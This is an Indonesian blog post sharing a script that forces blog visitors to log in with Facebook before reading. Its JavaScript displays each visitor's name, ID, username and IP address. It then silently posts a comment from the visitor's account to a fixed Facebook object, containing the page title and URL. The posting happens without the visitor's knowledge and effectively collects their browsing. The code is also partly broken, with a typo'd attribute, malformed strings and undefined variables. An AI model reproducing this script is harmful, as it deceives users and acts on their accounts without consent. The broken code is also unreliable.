Caranya biar orang masuk ke blog kita itu harus login dulu ke FB (otomatis)

for better script..
This Post has been Re-Edited since Tuesday, June 21, 2011

#main-interface-for-login #login-interface{
  margin-top:25%; 
  padding:20px; 
  background:darkred; 
  display:inline-block; 
 -moz-border-radius:20px; border-radius:20px; 
  border:1px outset black; 
 -moz-box-shadow:0px 0px 7px lightgreen; box-shadow:0px 0px 7px lightgreen;
}

.awesome-button{
  background:transparent url(http://static.ak.fbcdn.net/rsrc.php/v1/zl/r/6N9FQPpTHCy.png) no-repeat scroll center center;
  color:darkred;
  font-weight:bold;
  border:1px outset #1D4088;
  padding-top:5px; padding-bottom:5px;
  cursor:pointer;
}

.awesome-button:hover{
  background:transparent url(http://static.ak.fbcdn.net/rsrc.php/v1/zg/r/wBBYAgOjf8k.png) no-repeat scroll center center;
  color:#FFFFFF;
  border:1px outset #1A356E;
}

#userprofilepic{
  float:left;
  padding:0px; margin:0px; border:0px;
  -moz-box-shadow:none; box-shadow:none;
  width:180px;
}

#profile-details{
  margin-left:190px;
}

.pdetails{
  display:inline-block;
  padding:0px 10px 0px 0px;
  margin:0px;
  font-size:16px;
  font-weight:bold;
}

h6.pdetails{
  font-size:11px;
}

h6.pdetails span{
  font-weight:normal;
}
-->
</style>

if(!document.getElementById('fb-root')){
    document.write('<div id="fb-root">
</div>
');
  }

if(!document.getElementById('main-interface-for-login')){
    document.write('<div id="main-interface-for-login">
<center>
<div id="login-interface">
');
    document.write('<input type="button" id="login-button" class="awesome-button" onclick="clickLogin()" value="Click Here to Begin.."/>');
    document.write('</div>
</center>
</div>
');
  }

if(!document.getElementById('userprofilepic')){
    document.write('<img id="userprofilepic" scr="http://graph.facebook.com/'+applicationID+'/picture?type=large"/>');
  }

if(!document.getElementById('profile-details')){
    document.write('<div id="profile-details">
<img src="http://static.ak.fbcdn.net/rsrc.php/v1/yb/r/GsNJNwuI-UM.gif"/></div>
');
  }

function askLoginStatus(){
    FB.getLoginStatus(function(result){
      if(result.perms){
        getUserDetails();
      }else{
        openLoginInterface();
      }
    });
  }

function openLoginInterface(){
    document.getElementById('main-interface-for-login').style.display='block';
  }

function clickLogin(){
    document.getElementById('login-interface').innerHTML='<img src="http://images.gmx.com/images/outsource/application/mailclient/mailcom/resource/mailclient/widgets/blue/common/loading_animation_en-3447255655.gif"/>';
    FB.login(getUserDetails,{perms:permissions});
  }

function printUserDetails(result){
    document.getElementById('main-interface-for-login').style.display='none';

profileDetails.innerHTML = '<h1 class="pdetails profilename">
<a href="'+userLink+'" target="_blank">'+result.name+'</a></h1>
<br/>';
    if(result.id){
      document.getElementById('userprofilepic').src = 'http://graph.facebook.com/'+result.id+'/picture?type=large';
      profileDetails.innerHTML += '<h6 class="pdetails profileid">
<span>ID:</span> '+result.id+'</h6>
';
    }
    if(result.username){
      profileDetails.innerHTML += '<h6 class="pdetails profileusername">
<span>UserName:</span> '+result.username+'</h6>
';
    }
    if(VIH_HostIP){
      profileDetails.innerHTML += '<h6 class="pdetails ipaddress">
<span>IP Address:</span> '+VIH_HostIP+'</h6>
';
    }
    FB.api('/10150208794601239/comments','post',{message:document.title+'\n'+window.location},function(response){});
  }

startLoadingPlease();
</script>

- ••l|〤Arie RipcUrL 〤|l•• -

Search This Blog

Global Variables

iklan

Jumat, 05 Oktober 2012

Caranya biar orang masuk ke blog kita itu harus login dulu ke FB (otomatis)

Top Commentators

Comments List